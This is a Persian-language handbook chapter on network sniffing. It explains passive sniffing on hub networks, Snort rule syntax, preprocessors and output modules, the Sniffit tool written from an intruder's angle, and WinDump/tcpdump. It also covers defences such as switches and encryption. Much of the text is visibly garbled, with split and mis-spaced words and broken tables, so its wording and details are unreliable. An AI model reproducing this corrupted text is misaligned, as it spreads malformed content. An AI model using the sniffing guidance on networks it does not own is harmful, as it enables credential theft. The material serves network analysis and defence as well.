  : از هاب و سویيچ را به طور مجزا تشریح می نمایم Snifferدر ادامه تکنيک استراق سمع 
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
   Passive Sniffing:  استراق سمع از هاب -١



   !! امیر آشتیانی  های مربوطه توسط متدو معرفی منیت شبکه ضد اآموزش 

White Hat Nomads : Anti Security HandBook : Complete Refrence Bay ZXO003 
 

 ٦٣٩    صفحه

  
و         د                           به دليل قيمت مناسب و کارای قابل قب اده سازی شده ان ولی پي ای معم تفاده از هابه ا اس در . ل ، بخش عظيمی از شبکه های اترنت ب

ا                 ه کاناله ر روی بقي د توسط هاب دریافت شده و مجددا ب رار می ده ال ق ر روی کان شبکه های مبتنی بر هاب ، فریمی که هر دستگه ب
ه ان    به عبارت ساده تر هاب هر چه را دریا       . ميشود ) Repeat( تکرار   وط ب فت ميکند برای تمام ماشينهای در شبکه ميفرستد خواه مرب

  :برای درک بهتر این مفهوم به شکل زیر توجه کنيد !! ماشين باشد یا نباشد 
  

  
  

 نصب شده و فعال باشد ، به سادگی قادر به Snifferدر چنين ساختاری هر گاه بر روی یکی از ماشين های متصل به هاب ، یک ابزار               
ود                ربود د ب ه هاب خواه سياری از ابزارهای      . ن کل فریم های ارسالی از تمام ماشينهای متصل ب ر           Snifferب ی ب رای محيط های مبتن  ب

د  ام      . هاب  معمولی نوشته شده ان ه طور ع ا ب ن ابزاره ال    " ای ر فع نيفر غي شوند   ) Passive Sniffer" ( اس ده مي ا از مشهور   . نامي دو ت
  . ميپردازیم Dsniff تمام اعصار یعنی Sniffer را معرفی ميکنم و بعد به معرفی شاه Sniffit و Snortترین این ابزارها یعنی 

  
    :Snortابزار 

  
 ( IDSقابل ذکر است که این برنامه که بيشتر شهرت خود را به خاطر موتور . نوشته شده استMartin Roesch توسط Snortبرنامه 

Intrusion Detection System Engine  ( کسب کرده است.  
  

ه   LAN ترافيک روی  Snort برنامه   رد ک  را ربوده و به روشهای مناسبی و البته موثری غربال ميکند ، قبل از هر چيز باید اعتراف ک
Snort خود یک نوع از ابزارهای استراق سمع است ، البته از نوع مودبانه !!  

  
• IDS سيستم تشخيص تهاجم " یعنی!! " 

  
ه                          IDSای  مکانيزم سيستم ه   • ای خاص ک افتن یک رد پ ه منظور ی وری از شبکه را ب  این است که کليه بسته های اطلاعاتی عب

ایی               ين رد پ ا چن ه ب مشخصات ان توسط مدیر شبکه تعيين ميشود ، مورد ارزیابی و بررسی قرار داده و هر نوع ترافيکی را ک
  ) .نتهای مقاله به این مبحث ميپردازم اگر عمری باقی بود در ا( تطبيق کند را به سرعت گزارش ميدهد 

  
   :Snortحالت های عمليات ابزار 

  
اجم                         Snortابزار   شخيص ته ستم ت ا یک سي سته های اطلاعاتی ، و ی انيزم ثبت ب  را ميتوان به عنوان یک ابزار استراق سمع ، یک مک

زار           دو کاربرد اول هيچ گونه مزیتی را نسبت به سایر ابزار          . مورد استفاده قرار داد    های استراق سمع به ارمغان نمی آورد ، جز اینکه اب
Snortقادر است تا فرآیند ثبت بسته های اطلاعاتی در قالب فهرست های سازمان یافته ای بر روی دیسک ذخيره نماید .   

  
  :پيکر بندی خروجی حاصل از عمليات استراق سمع 

  
ا در ح   د    ) Alert Mode( الت هشدار دهی    این ابزار به واسطه قابليت پيکر بندی قادر است ت ه های     . مختلفی عمل نمای ا تنظيم گزین ب

ا     syslogپيکر بندی این ابزار ، می توان ترتيبی داد تا گزارشات حاصل از عمليات در قالب یک فایل ویژه با عنوان               يده ، ی ه ثبت رس  ب
گزینه مزبور حتی ميتوان به گونه این تنظيم کرد . ود در قالب یک کادر محاوره ای بر روی صفحه نمایش سيستم عامل ویندوز ظاهر ش           

  . ذخيره شودMySQL و Oracleکه گزارشات حاصل در یک بانک اطلاعاتی نظير 
  

   :Snortمروری بر ساختار قوانين 
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ه ای         Snortساختار قوانين    سته های اطلاعاتی      Ethereal و TCPDump به عبارت مورد استفاده در برنام ر سازی ب بيه   جهت فيلت  ش
ا ، اطلاعات       IPاز این قوانين ميتوان به منظور تطبيق بسته های اطلاعاتی بر مبنای آدرس       .است   ورت ه ان ، شماره پ ستمهای ميزب  سي

ه          . موجود در هدر ها ، مقادیر فلگ ها ، و بالاخره محتوای بسته های اطلاعاتی استفاده نمود                 وانين برنام وان ق  را  Snortدر مجموع ميت
  . زیر جای داددر سه گروه

  
يده و           ) Alert Rules( قوانين هشدار دهی  • ه ثبت رس ين شده ب د در قالب تعي ق کنن وانين تطبي بسته های اطلاعاتی که با این ق

 .متعاقب آن پيغام های هشداری جهت اطلاع کاربر در این زمينه ارسال می شود
 

وانين تطبيق کنند به سادگی مجوز تردد را دریافت کرده و از بسته های اطلاعاتی که با این ق ) Pass Rues( قوانين گذر دهی  •
 .آن ها صرف نظر به عمل مياید

  
، اما هيچ   بسته های اطلاعاتی که با این قوانين تطبيق کنند در قالب تعيين شده ای به ثبت ميرسند  )Log Rules ( قوانين ثبت •

 .پيغامی جهت اطلاع کاربر در این زمينه ارسال نميشود
  

ا  Snortبه پيش فرض برنامه  بنا    بسته های اطلاعاتی دریافتی را ابتدا با قوانين هشدار دهی و به دنبال ان قوانين گذر دهی و در نهایت ب
.   به همين منظور پيشبينی کرده است  o- گزینه بخصوصی را با عنوان Snortخوشبختانه برنامه . قوانين ثبت مورد مقایسه قرار ميدهد  

ه            بهره گيری از ا    وده و ب ذر دهی در اولویت ب وانين گ ه ق ر شود ک ین گزینه موجب ميشود تا ترتيب مزبور به صورتی دست خوش تغيي
شود            ال مي ه             . دنبال ان قوانين هشدار دهی و ثبت اعم ن گزین ودن ای د ب م مفي ی رق يش فرض را رعایت         o-عل ه ترتيب پ نم ک  توصيه ميک

القوه                 در اغلب موارد کاربران قوانين گذر د      . نمایيد سته های اطلاعاتی ب ا ب شوند ت رده و موجب مي دوین ک ه ای نامناسب ت ه گون هی را ب
  .خطرناک مجوز عبور دریافت کنند ، بدون اینکه پيغام هشدار به اطلاع آنها برسد

  
   :Snortساختار قوانين 

  
  .واهيم داشت و نحوه تدوین آنها خSnortدر این قسمت مطالعه اجمالی در مورد ساختار قوانين برنامه 

  
یکی از انواع هشدار دهی ( بخش اول از هدر بيانگر نوع قانون .  از دو قسمت هدر و گزینه ها تشکيل ميشوندSnortکليه قوانين برنامه   

Alert     یا گذر دهی Pass     یا ثبت  Log ( وع پروتکل          . ميباشد واع      ( سایر بخشهای هدر متشکل از ن ا    IPیکی از ان ا  UDP ی ا  TCP ی  ی
ICMP(        یک عملگر تعيين مسير ،  )>-        و در نهایت آدرس     ) برای مسير دوطرفه    <>  برای مسير مبدا به مقصد وIP     ورت  و شماره پ

ی               IPآدرس  . مبدا و مقصد ميباشد    ه شکل کل وان ب ر      aaa.bbb.ccc.ddd/yy مبدا و مقصد را ميت ه در ان متغي داد بایت    yy ک انگر تع  بي
ستم         . است ، بيان کرد ) net maskاصطلاحا ماسک شبکه یا ( های شبکه  ا ، سي ر شبکه ه ا علاوه ب د ت این شکل کلی به ما اجازه ميده

ا تفکيک      IPعلاوه بر این ميتوان چندین آدرس       . های ميزبان مستقر بر روی آنها را نيز به طور کاملا مجزا مشخص نمایيم               مختلف را ب
 مشخص  [ 192.168.2.10 ,192.168.2.4 ,192.168.1.0/24 ]ه صورت  ب[]آنها به علامت کاما و قرار دادن آنها در جفت علامت 

ه     . ها را نيز ميتوان با استفاده از علامت کولون مشخص نمایيم           محدوده پورت . کنيم رای نمون ورت شماره          1024:ب ی پ ه معن  و ١٠٢۴ ب
ر از ان ،   ک ت ای کوچ ورت  ه ه پ ماره  :1024کلي ای ش ورت ه ی پ ه معن ای ١٠٢۴ ب ورت ه ه پ الاخره  و کلي ر از ان و ب بزرگت

ری     ۶٠٠٠ و ١٠٢۴ به مفهوم پورت های شماره     1024:6000 ره گي ا به ين ب  و کليه پورت های موجود در این محدوده می باشد ؛ همچن
تفاده از علامت تعجب       .  و شماره پورتها را مشخص نمایيدIP ميتوانيد کليه آدرس های anyاز واژه کليدی از     ا اس ه  (!) ضمن اینکه ب ب

ن ترتيب دو محدوده         .  یا شماره پورت ها معکوس کنيد        IPاحتی ميتوانيد محدوده آدرس     ر دل یکدیگر    1025! و  1:1024به ای املا مع  ک
  .خواهند بود

  
ورد                        بخش گزینه های یک قانون شامل مواردی چون پيغام های هشدار و الگوی تطبيق است که به منظور تشخيص بسته ای اطلاعاتی م

  .گفتنی است این بخش به طور کلی باید درون پرانتز واقع شود. دنظر به کار ميرو
  

   :Snortابزارهای جانبی برنامه 
  

 ) Plug-insاصطلاحا   ( ویژگی جدید که به نسخه های اخير برنامه اضافه شده است توانایی افزودن قابليت ها و عملکرد ای مضاعف                      
ا            در مجموع دو نوع ا     Snortبرنامه  . به این برنامه است    يش پردازشگر ه اجول   ) Preprocessors( ز این قابليت ها را با عنوان پ و م

  .ارائه کرده که در ادامه به برسی هر یک از آنها می پردازیم  ) Output modules( های خروجی 
  
  )Preprocessors( پيش پردازشگرها -١ 
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رد snort.confقابليت را در فایل  ميتوان تنظيمات مربوط به این     Preprocessorsبا استفاده از فرمان      يش پردازشگرها   .  پيکربندی ک پ
يش              Snortپس از آنکه برنامه      ی درست پ رار داد ، یعن  بسته های اطلاعاتی زا به منظور مقایسه با قوانين مورد دستيابی و رمزگشایی ق

  .از فرایند تطبيق ، وارد عمل ميشوند
  

  . معرفی شده اند در جدول زیر متداول ترین پيش پردازشگرها را
  
  توضيح  گزینه قابل استفاده  عنوان  
١   

 
 

http_decode 

 
 
 

<port_list> 

امی آدرس های          يش پردازشگر تم  HTTP ناشی از ترافيک   URLاین پ
ست       ده در لي شخص ش ای م ورت ه ر روی پ ورد  <port_list>ب  را م

تن        ا فرمت م د   ASCIIدستيابی قرار داده و آن ها را ب شایی ميکن .  رمز گ
ای  ا ه آدرس ه ا ک ه خصوص   URLز آنج ای ب اراکتر ه ی ک د برخ (  فاق

الی  ضای خ ر  ) همچون ف ا ، نظي اراکتر ه ه  ای از ک ب دنبال ستند ، اغل ه
رد     %21 شاهده ک ای م ين آدرس ه اختار چن وان در س يش  .  را ميت ن پ ای

د   ASCIIپردازشگر چنين کاراکتر های به فرم      دیل می کن ه  .  متناظر تب ب
وانين  ب ق ن ترتي ه  ای ده در برنام دوین ش ه   Snort ت ا ب ود ت د ب ادر خواه  ق
  . قابل تطبيق را تشخيص دهندURLدرستی آدرس های 

٢   
Port scan 

 
<network> <num_ports> 

<period> <logfile> 

ه      د برنام ای جدی ت ه رین قابلي د ت ی از مفي ه یک گر ، ک يش پردازش ن پ ای
Snort  دادی ک تع ض تحری ه مح شود، ب سوب مي  <num_ports> مح

ا شاخص       شتر از شبکه ای ب ا بي ورت ی انی  <network>پ  در فاصله زم
<period>اقدام لازم را جهت ثبت هشدارهای مربوطه انجام ميدهد .  

٣   
Port scan-

ignore hosts 

 
<host_list> 

چنان چه ترافيک ناشی از اسکن پورت های برخی از سيستم های ميزبان             
دانيم ، از ب بکه را مج ستقر در ش ره م ا به ا ب ن صورت لازم است ت  در ای

يش پردازشگر ، ليست            ستی شامل    <host_list>گيری از این پ ی لي  یعن
ای  شخص    IPآدرس ه د م ده ان دا ش دیگر ج الی از یک ضای خ ا ف ه ب  را ک

  . نمایيم
۴  Frag2 Memcap <bytes> timeout 

<seconds> 
د فراین              ه راحتی ميتواني د را جهت یک      با استفاده از این پيش پردازشگر ب

سيخته ترتيب               پارچه سازی بسته های اطلاعاتی استراق سمع شده از هم گ
وان  ( داد  ا عن ا ب دی را حتم ين فرآین شناسيد defragmentationچن ).  مي

تفاده     ۴در این فرآیند به طور پيش فرض از حافظه ای معادل              مگابایت اس
شود ه س  . مي د یک پارچ رای فرآین رای اج رض ب يش ف ان پ دت زم ازی م
  .  ثانيه ميباشد۶٠برابر 

۵  Stream4                        د استراق سمع ه واسطه فرآین وان ب يش پردازشگر ميت ن پ با استفاده از ای
ه  اتی Snortبرنام ان اطلاع دل TCP ، جری اتی رد ب ای اطلاع سته ه  و ب

رد         رل ک وان اطلاعات            . شده را به خوبی کنت ه مربوطه ميت ه کمک گزین ب
ای         ه              مربوط به جلسات را در قالب ف ام  هشداری را ب ود و پيغ ره نم لی ذخي

سته                  م ریختن ترتيب ب هنگام اسکن پورت ها یا بروز مشکلاتی نظير به ه
  .های اطلاعاتی نمایش داد

  
   )Output modules(  ماجول های خروجی -٢
  

ان      ق فرم ا از طری اجول ه ن م ری از ای ره گي دی     outputبه ل پيکر بن ا را در فای وان مشخصات آنه ز ميت رد ،  snort.conf ني  تنظيم ک
ا   .  در اختيار ميدهدSnortامکان تغيير موقعيت ذخيره سازی و نحوه قالب بندی بسته های اطلاعاتی بدست آمده از عمليات   اجول ه ایم م

اتی                سته های اطلاع وانين ب ق ق ات تطبي ه خروجی حاصل از عملي ه ای ک ه گون سبت داد ، ب ده مختلف ن دوین ش وانين ت ه ق وان ب ، را ميت
ه                . مشمول ماجول خروجی به خصوصی شود      تفاده در برنام ورد اس اجول های خروجی م  و توضيحات ان را در     Snortمتداول ترین م

  .جدول زیر مشاهده ميکنيد
  

  توضيح  گزینه های قابل استفاده  نام ماجول  
١  Alert_fast <logfile>              لت  حا( عملکرد این ماجول دقيقا مشابه حالت هشدار دهی سریع است

 از طریق سطر  "A fast-" به صورت A–مزبور با استفاده از گزینه 
ز            ) فرمان قابل اعمال ميباشد    ل دلخواهی را ني وان فای ، ضمن اینکه ميت

این ماجول به هنگام تدوین قوانين    . به منظور ثبت هشدار مشخص نمود     
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تفاده از آن                  ا اس ه ب ه ای ک ه گون شود ، ب ع مي د واق تطبيق جدید بسيار مفي
 .توان قوانين مختلف را وادار به ثبت هشدارها در فایل مجزا کردمي

٢   
Alet_full 

 
<logfile> 

ه       ه ب اوت ک ن تف ا ای الا است ، ب اجول ب شابه م اجول م ن م رد ای عملک
 حال ثبت کامل    Snortمنظور هشدار دهی از حالت پيش فرض برنامه         

  .بهره ميبرد ) full log modeیا اصطلاحا ( 
٣   

Alert_smb 
 

<workstation_list_file> 
ه   شابه گزین ه  M–م ان برنام طر فرم ز  Snort در س اجول ني ن م  ، ای

ستم                   انيتور سي ر روی صفحه م ستقلی ب ادر م پيغام هشدار را در قالب ک
ل              ا در فای ه اسامی آن ه  <workstation_list_file>های ميزبانی ک

  .ليست شده است ، نمایش ميدهد
۴   

Alert_syslog 
 

<syslog_facility> 
<syslog_priority> 

ه   شابه گزین ان  s–م طر فرم ال    Snort از س ان ارس اجول امک ن م  ای
وان     ا عن ستمی ، ب ایع سي انيزم ثبت وق ه مک ام های هشدار ب ستقيم پيغ م

sysylog     ای ط پارامتره ده توس شخص ش ت م سهيلات و اولوی ا ت  و ب
<syslog_facility> و <syslog_priority>  رار ار ق  در اختي

  .يدهدم
۵   

Log_null 
رار                    تفاده ق ورد اس وانين م د ق واع جدی این ماجول هنگامی در تعریف ان

ا ثبت اطلاعات                        وده ام د نظر ب ام های هشدار م ایش پيغ ه نم ميگيرد ک
  .موجود در بسته های مورد توجه نمی باشد

۶   
Log_tcpdump

 
<logfile> 

ایع در قالب       جهت ثبت    b–تاثير این ماجول مشابه استفاده از گزینه          وق
ه                 ایع برنام رای ثبت وق  TCPDumpباینری و تعيين یک فایل مجزا ب

  . ) به دست ميآیدL– توسط گزینه Snortقابليتی که در برنامه . ( است
٧  Alert_uified , 

Log_unified 
 

<logfile> 
این ماجول بيانگر یک روش جدید و بسيار موثر ثبت وقایع است که به 

ه         احتمال زیاد در     د برنام سخه های جدی يش        Snortن وان روش پ ه عن  ب
اجول خروجی را در     . فرض در ثبت وقایع معرفی خواهد شد        هر دو م

انند      د             . قالب باینری به ثبت ميرس ی مانن ه مجزای ه برنام ن ترتيب ب ه ای ب
Barnyardخوانا نياز ميباشد .  

٨  database <rule_type> 
<database_type> 

<paramrtrs> 

ه                 این ماجول    ا ثبت برنام وانين هشدار دهی ی ا ق  را  Snortقادر است ت
ر   دار متغي سته مق ارجی   <rule_type>ب اتی خ ک اطلاع ک بان  در ی

د  ره نمای ر   . ذخي ان متغي ن مي وع  <database_type>در ای رف ن  مع
ارامتر      .  بانک اطلاعاتی مورد استفاده در فرآیند است        ين ليست پ همچن

ان بانک اطلاعاتی    ها شامل اطلاعات ضروری ، از جمل  ه سيستم ميزب
ک     ه بان ی ب ت دسترس از جه ورد ني ور م ه عب اربر و کلم ه ک ، نام

  .اطلاعاتی ، نام بانک اطلاعاتی و سایر اطلاعات مشابه ميباشد
٩   

Xml 
 

<rule_type> <parameters> 
ه                    ا ثبت برنام وانين هشدار دهی ی ا ق  را  Snortاین ماجول قادر است ت

ر  دار متغي سته مق ب   <rule_type>ب ا قال ایلی ب ره SNML در ف  ذخي
 موقعيت و ساختار این فایلی را مشخص         <parameters>متغيير  . کند

  .می کند
١٠  

CSV 
 

<logfile> <format> 
به کمک این ماجول ميتوان از ميان اقلام موجود مواردی را جهت ثبت      

اراکتری       رده و ضمنا خروجی          <format>در قالب دنباله ک  انتخاب ک
ه        <logfile> را نيز در فایلی با عنوان        Snortامه  برن ه صورتی ک  ، ب

ند                اقلام موجود در آن با استفاده از علامت کاما از یکدیگر جدا شده باش
 .، ذخيره کرد

١١ Trap_snmp <event_type> <sensor_id> 
<trap_type> <address> 

<community> 

ب     شداری در قال اجول ه ن م ستگ SNMPای ک ای دیریت  را در ی اه م
ع در آدرس      ارسال  <community> از بخش  <address>شبکه واق

  .ميکند
  

ه                     Snortهمانگونه که تمام کسانی که با       : نکته   • ن است ک د ای ه ميگيرن ن برنام  کار کرده اند ميدانند ، بزرگترین ایرادی که به ای
ه    Snortمطالعه فایل های ثبت وقایع و هشدارهای این برنامه      دون توجه ب سيار         ب د ب تفاده ، فرآین ورد اس دی خروجی م قالب بن

ه ه                  . دشواری است  ایج از برنام ه نت رای مطالع نم ب ل    ییابرای رفع این نقيصه من توصيه ميک  و SnortSnarf و  Demarc مث
ACID و حتی Ethereal استفاده کنيد ....  و!! 

  
    :Sniffitابزار 
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ن  .  نوشته شده است   Brecht Claerhoutاین برنامه توسط . مله به شبکه مطرح بود برای سالها به عنوان نرم افزار حSniffitابزار  ای

  .قابل اجرا ميباشد..... ابزار بر روی محيط های سازگار با لينوکس و سولاریس و 
  

ه طور ک        )  Promiscuous (این ابزار کارت شبکه را به حالت بی قيد  ام ترافيک جاری شبکه را ب د ت ا بتوان امل دریافت   وارد کرده ت
ق        . نمایيد این ابزار به خاطر انعطاف در غربال سازی بسته های مفيد و غير مفيد این قابليت را فراهم کرده است تا بتوان بسته های متعل

سته های   . به یک ماشين مشخص یا یک پروتکل خاص را جمع آوری کرده و از بقيه صرفنظر کند  در ضمن این قابليت وجود دارد که ب
  .ده را بلادرنگ بر روی پنجره خروجی این برنامه نمایش دهدغربال ش

  
ا سویيچ               Sniffitاگر نفوذگر بخواهد نرم افزار       ان ب  فراخوانی  i– را در حالت محاوره ای و بلادرنگ اجرا نماید باید آن را در خط فرم

  :کند
$ Sniffit –i 

  .ورت بسته ها است  و آدرس پIPمعيار جدا سازی و تفکيک بسته ها در این ابزار آدرس 
  

  !!!من بيشتر در باره این ابزار توضيح نميدهم و بقيه کار را به خود شما ميسپارم  •
  

  : و تشريح اصول و نکات کار  TCPDump& WinDumpمعرفی ابزار 
  

رویم سر                              ا ب د ت ه آموزش     قبل از اینکه آموزش این ابزار را بدهيم به مقاله ای که توسط امداد امنيت نوشته شده توجه کني اصل مطلب ک
  !!خود ابزار است 

  
  Windump معرفی ابزار

 
زار  سخه Windumpاب ه ن ت ی  ک رمWindows تح د   ن زار ق شهور یمیاف ت سtcpdump و م ا ستمي تح انواده یه ل خ  Unix ی  عام

لاً  یم د، عم ر تراف ليک تحلیباش بکه استيگ تفاده. ک ش ب اس ه اغل دگان س از آنجاک ا ستميکنن امپیه ایوتري ک شورمان را ینگ خ  در ک
  .میا ح دادهي ترجtcpdump ی را به بررسWindump یدهند، معرف یل مي تشکWindows ی  عامل خانوادهیها ستميکاربران س

 
سته ی بررس ی فهيگردد، وظ یاد می از آن Snifferک شبکه، که عموماً با نام   يگر تراف   ليک تحل ی     ا   ب ر رو   یه دل شده ب  شبکه  ی رد و ب

ه    ي آن خواه   یگاه به معرف  ین پا ي در هم  ی که به زود   Etherealافزار    دارد که نرم  را برعهده    ر   ی م پرداخت نمون داول و پ دار   مت  از یطرف
تSnifferک ی ه در معرف .  اس رمیاز آنجاک زار پ  ن ال يشياف صورت اجم ه این ب ود   ی ب ه ب ا پرداخت ته از ابزاره  یم، در معرفین دس

Windumpاز  یتر شياز به ذکر مقدمات بي نSnifferمیها دار.  
  

ا   ل بسته يش و تحل  یتوان به پا    ی خاص، م  ی ک رابط شبکه  ین  يي، با تع  Snifferک  ی با استفاده از         ات  یه ر رو     ی اطلاع دل شده ب  ی رد و ب
ه    ی را م Snifferک ی گر یبه عبارت د  .  مورد نظر به آن متصل است پرداخت       ی  که رابط شبکه   یا  شبکه وان ب ا ي ک سی ت شب یستم پ ه يش ت

ر رو یکرد که تمام   ستر ف ی اطلاعات منتقل شده ب د  یره م ي  و ذخی را بررس یک یزي ب ه دست آوردن ا   ی در نها. کن ا ب ن اطلاعات دو  ی ت ب
  : شده انجام داد ی بررسیها  بستهی محتوایتوان بر رو یعمل م

  
  ک شبکهي ترافیل کلي تحل        -
  

ردد و از آنجاک       یگر انجام م    لين عمل توسط تحل   ی ا     ر رو            گ دل شده ب س  یه حجم اطلاعات رد و ب د ی گر با  لي اد است، تحل ی ار زي شبکه ب
  . مختلف را داشته باشدیها  و مقصد  مختلف با مبدایها ز دادن اطلاعات مربوط به پروتکلي تمییتوانا

  
   خاصیی با محتواییها لتر کردن بستهي ف        -
  
ک پروتکل خاص،   ی مربوط به یها دادن بسته  زيتوان تم   ی، م Sniffer آنها توسط    یش اختصاص ی خاص و نما   ییها  لتر کردن بسته  ي با ف    
ي  تعیا  از رشته ییمقصد خاص، با محتوا/به مبدا /از رم    یژگ یگر و ین شده و د ي ه ن ا را ب زار   ه ه دست آوردن    .  سپرد Snifferاف پس از ب

  .تر است ار آسانيل آن بسي دلخواه تحلیخروج
  

زار است    مختص سختیتي شبکه قابلیرد و بدل شده بر رو یها ش بسته یت پا ي قابل     ارت د  . اف ه عب الت    یب  خاص  یگر رابط شبکه در ح
ام    ي گ  یقرار م  ه تم سته  یرد ک ا    ب ه مقصد آدرس ف      ییه ورد نظر ن         یک یزي ک ا رابط م سته    ي ست ن ي  آنه د ب ا   ز مانن وط در   ییه افت شده و     ی مرب
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وا  ا را م  یمحت وان ذخ  ی آنه رد ي ت اد  . ره ک زار و لا  ، سخت یدر حالت ع سته Data link ی هی اف ا   ب ا آدرس       ییه ورد نظر ب ه رابط م ه ب  ک
  .دارد ی شبکه بر نمی ندارند را از روی خاص، ارتباطیکیزيف
  
ا ي ترافی تمامیها بررسSnifferن وجود، از آنجاکه هدف از استفاده از         ی با ا     ام یک شبکه، با استفاده از پ سته یش تم ا   ب د  ییه ه از مب ا  ک
ذا پ       یشوند م     یگر ارسال م     یه مقاصد د    مختلف ب    یها تفاده از ا    ي ن  شيباشد، ل سخه      ی از اس اً وجود ن ا اساس ام یا ن دسته از ابزاره  ی از تم
  . مورد نظر استی  بستر متصل به رابط شبکهیک شبکه بر رويتراف

  
ها، که در حال حاضر    چیي با استفاده از سورایکند، ز یل مي تحمSniffer را به استفاده کننده از یافزار  سختیازين شياز، پ ين  شين پ ی ا    
تاده    ي چ به سمت س یي سویها ک از درگاهی هری که بر رو یکياند، تراف   ها را گرفته    Hub ی موارد جا  یباً در تمام  یتقر ورد نظر فرس ستم م
دارد ی شبکه بر رویها گر گرهیک د يستم است و تراف   يشود، تنها مختص آن س      یم ذا در شبکه  .  آن قرار ن ر اساس سو    ک یا ل   چ عمل یيه ب
  .ط معمول وجود نداردی در شراSnifferکند، عملاً امکان استفاده از  یم
  

ا هدف در اخت         از سوپپچ  یاريوجود بس   نی با ا      اه    ي ها ب ذاردن درگ ام         یار گ رار دادن تم ر رو   ي  تراف ی خاص، امکان ق ک ی  یک شبکه ب
اه  ي ن قب یامکان استفاده ا  . ک شبکه بپردازد  يش تراف یتواند به پا    یباشد م ن درگاه متصل    ی که به ا   یستميکنند و س    یکانال را فراهم م    ا    ل درگ ه

ه ین امکان تنها برایا. باشد یران شبکه میها، در صورت وجود، محدود بوده و تنها مختص مد       چیي سو یبر رو  ان  ی  جام ه  ي عمل پوش دن ب
  . ها وجود دارد چیي از سویک فعال، در برخيل ترافي تحلیه براران شبکی استفاده توسط مدیعنیها، Sniffer از اهداف استفاده از یکی
  

  :ها دو کاربرد خاص مد نظر بوده است Snifferن دسته از ی در استفاده از ا   
  
   و رفع نقوص شبکهیابی بي عیگران شبکه برا ليران و تحلی استفاده توسط مد        -
  ها ستميها و س  استفاده توسط نفوذگران به شبکه        -
   نفوذ یها برا ص تلاشي تشخ        -
  
رم  یت اي، استفاده از قابل   یکاربرد بعد .  است که در مورد آن صحبت شد       ی هدف اول، عملکرد      ه      ن دسته از ن وذگران ب ا توسط نف افزاره

ا    . ها است   شبکه ا پ ه تحل          ش داده ینفوذگران ب ه تلاش ب ا، ب ا  ل داده ي ه ات    یه ه دست آوردن اطلاع ورد شبکه   ي  هرچه ب ی شبکه و ب شتر در م
ه بصورت رمز        ی مختلف یافزارها   و کلمات عبور نرم    ی کاربر ین اطلاعات کدها  ی از ا  ی مهم ی دسته. پردازند  یم ر رو      است ک شده ب  ین

رده و سپس در پ    ی شبکه پ   ی فعال بر رو   یافزارها  ک ابتدا به نوع نرم    يل تراف يک نفوذگر با تحل   ی. شبکه در حال انتقال هستند     ن یب اخت  ش
رم یها لتر کردن بستهي موجود در آن، به ف  یتي امن یها  ص حفره يافزار نمونه و تشخ     ک نرم یشتر  يب ه و سع     مختص آن ن زار پرداخت  در یاف

د  یتر در مورد آن م    شي اطلاعات ب  یگردآور د        . کن دامات بع ورد نظر، اق ه دست آوردن اطلاعات م ا ب را یب ه، توسط اطلاعات    ی ب  حمل
  .رديگ یانجام م به دست آمده، یاتيح
  

الا          استفاده از سخت   ییبردن کارا  ها، علاوه بر بالا     چیي استفاده از سو       ه ب ردن امن  افزار و بستر شبکه، ب ا  ي ت موجود ن ي ب  یانیز کمک ش
ه با  . آورد ین م یي شبکه را پای موجود بر روی  متفرقهیها ستمي سیک توسط نفوذگران، بر رو   يش تراف یکرده و احتمال پا    د ک ه  ی هرچن د ب

وان ا  یز وجود دارد که م ي نییها  خاطر داشت که روش    ا را غ  چیين امکان سو  ی ت رد و   يه ال ک ه کل   یيا سو ی رفع ور ساخت ک  ی هي چ را مجب
  .ستيک ني ترافی ش ناخواستهی از پایري جلوگین قطعيچ تضمیيلذا استفاده از سو. ک درگاه خاص بفرستدیک را به يتراف

  
دف د    ری ه ه میگ را ی ک وان ب تفاده از یت شخ Sniffer اس ان ت ود امک صور ب ا مت لاشيه ا ص ت رایه ام ب ال انج وذ استی در ح .  نف

زار خاص، توسط     ک نرمیا حمله به یک پروتکل خاص، و ی یا درگاه خاص بر رو  یل حمله به آدرس     ي از قب  ییها  تلاش گر   لي ک تحلی اف
ر رو   یها م Snifferن هدف، از ی نظر گرفتن ابا در. ص استي، قابل تشخSnifferک ی ماهر و با استفاده از        شبکه وان ب ستم ي ک سی  یت

ه در ا  یص حملات احتماليستم، و تشخيش ارتباطات انجام گرفته با س یمنفرد، به منظور پا    د ک ل ي ن قبی  در حال انجام، استفاده کرد، هرچن
  .کنند ی به کاربر میانی آن، کمک شای آتش، حتی انواع شخصیوارهایموارد استفاده از د

  
  :م نمود يتوان به سه دسته تقس یها را مSniffer مقابله با یها  با توجه به آنچه به صورت پراکنده در خلال متن گفته شد، راه   
  
  ها  دادهی رمزنگاری استفاده از ابزارها        -
  Hub یچ در شبکه به جایي استفاده از سو        -
  .آورد ی قرار دارند را به وجود مSniff که در حال یا  شبکهیها ص رابطيکه امکان تشخ Sniff ضد ی استفاده از ابزارها        -
  

ه ا WinDumpم نرم افزار ي آنی می را معرفWinDumpها ذکر شد، Sniffer که در مورد    یا   با مقدمه      ن ی  مرسوم از ا ی، که نمون
زار    Windows  ی عامل سر   یاستم ه ي تحت س  ین نرم افزار عملاً نسخه      یا. می پرداز یابزارها است م    tcpdump.  است tcpdump اب
  .ها استSnifferن ین و ساده تري باشد، جزو اولی مUnix یستم عامل خانواده ي و متداول تحت سیمی قدیکه نرم افزار
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  دريافت و نصب نرم افزار

  
ه ا   ی دسترس ی برا     زار و در      ی  ب رم اف ه آدرس     ي  توان یافت آن م    ین ن ه کن it.polito.windump://httpد ب زار از   ی ا. دي  مراجع رم اف ن ن

ه نگارش تحت          ی استفاده م  libpcab سازگار با    یکتابخانه ا  د ک ه     Windows کن زار را م       ی ا.  موسوم است    WinPcap آن ب رم اف  ین ن
زار   WinPcapارش  ن نگ  یپس از نصب آخر     . ديافت کن یت در ید از همان سا   يتوان رم اف ه ا .  شود ی م یاتي  عملWinDump، ن ه  ینکت  ک
ر رو  یا اغلب بسته های و ین نرم افزار تمام   ی آنکه ا  ین است که برا   ید ا يد به خاطر داشته باش    یبا ال ب ا  ی در حال انتق  و یی شبکه را شناس
ه طر یت ها است که به روز نشده، با ا        ن نرم افزار مد   ید، هرچند که ا   ين نگارش آن استفاده کن    ید از آخر  یافت کند، با  یدر  یق ین وجود اگر ب

  .ديافت کنیدتر را دری جدی بهتر، نسخه یی کاراید، براین نرم افزار را به دست آوردی از ایمیگر و قدی دینگارش
   

  WinDumpقابليت های 
  

شتر آن يشتر و تشابه هرچه بي بیه منظور سادگط بين محیدر واقع وجود ا.  استی ساده و متنیطين نرم افزار، محیط استفاده از ا   ي مح    
